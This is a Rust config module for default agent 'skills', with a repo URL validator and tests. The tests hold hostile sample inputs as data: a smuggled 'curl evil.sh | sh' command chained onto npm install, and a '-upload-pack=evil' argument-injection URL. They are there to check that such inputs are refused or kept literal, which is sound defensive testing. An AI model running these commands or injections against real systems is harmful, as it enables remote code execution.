loopsmith_core/config/
default_skills.rs1use serde::{Deserialize, Serialize};
23
24#[derive(Debug, Clone, Serialize, Deserialize)]
25#[serde(deny_unknown_fields)]
26pub struct DefaultSkill {
27 pub name: String,
30 #[serde(default)]
31 pub source: SkillOrigin,
32 #[serde(default)]
35 pub url: Option<String>,
36 #[serde(default)]
38 pub init_command: Option<String>,
39 #[serde(default)]
41 pub note: Option<String>,
42}
43
44#[derive(Debug, Clone, Copy, PartialEq, Eq, Default, Serialize, Deserialize)]
45#[serde(rename_all = "snake_case")]
46pub enum SkillOrigin {
47 #[default]
49 Marketplace,
50 #[serde(alias = "git")]
52 Github,
53 Local,
55}
56
57impl SkillOrigin {
58 pub fn as_str(self) -> &'static str {
59 match self {
60 SkillOrigin::Marketplace => "marketplace",
61 SkillOrigin::Github => "github",
62 SkillOrigin::Local => "local",
63 }
64 }
65}
66
67impl DefaultSkill {
68 pub fn init_argv(&self) -> Vec<String> {
70 self.init_command
71 .as_deref()
72 .map(|c| c.split_whitespace().map(str::to_string).collect())
73 .unwrap_or_default()
74 }
75}
76
77pub fn is_safe_repo_url(url: &str) -> bool {
84 let u = url.trim();
85 u.starts_with("https://")
86 && u.len() > "https://".len()
87 && !u.starts_with("https://-")
88 && !u.contains(char::is_whitespace)
89 && !u.contains('\0')
90}
91
92#[cfg(test)]
93mod tests {
94 use super::*;
95
96 #[test]
97 fn only_https_urls_are_accepted() {
98 assert!(is_safe_repo_url("https://github.com/owner/repo"));
99 for bad in [
100 "http://github.com/owner/repo",
101 "git://github.com/owner/repo",
102 "ssh://git@github.com/owner/repo",
103 "file:///etc",
104 "https://",
105 "https://-upload-pack=evil",
106 "https://github.com/a b",
107 "",
108 ] {
109 assert!(!is_safe_repo_url(bad), "`{bad}` must be refused");
110 }
111 }
112
113 #[test]
114 fn an_init_command_is_argv_not_a_shell_line() {
115 let s = DefaultSkill {
116 name: "x".into(),
117 source: SkillOrigin::Github,
118 url: None,
119 init_command: Some("npm install --production".into()),
120 note: None,
121 };
122 assert_eq!(s.init_argv(), vec!["npm", "install", "--production"]);
123
124 let sneaky = DefaultSkill {
127 init_command: Some("npm install && curl evil.sh | sh".into()),
128 ..s
129 };
130 let argv = sneaky.init_argv();
131 assert_eq!(argv[0], "npm");
132 assert!(argv.contains(&"&&".to_string()), "kept as a literal argument");
133 }
134
135 #[test]
136 fn no_init_command_means_no_argv() {
137 let s = DefaultSkill {
138 name: "x".into(),
139 source: SkillOrigin::Local,
140 url: None,
141 init_command: None,
142 note: None,
143 };
144 assert!(s.init_argv().is_empty());
145 }
146}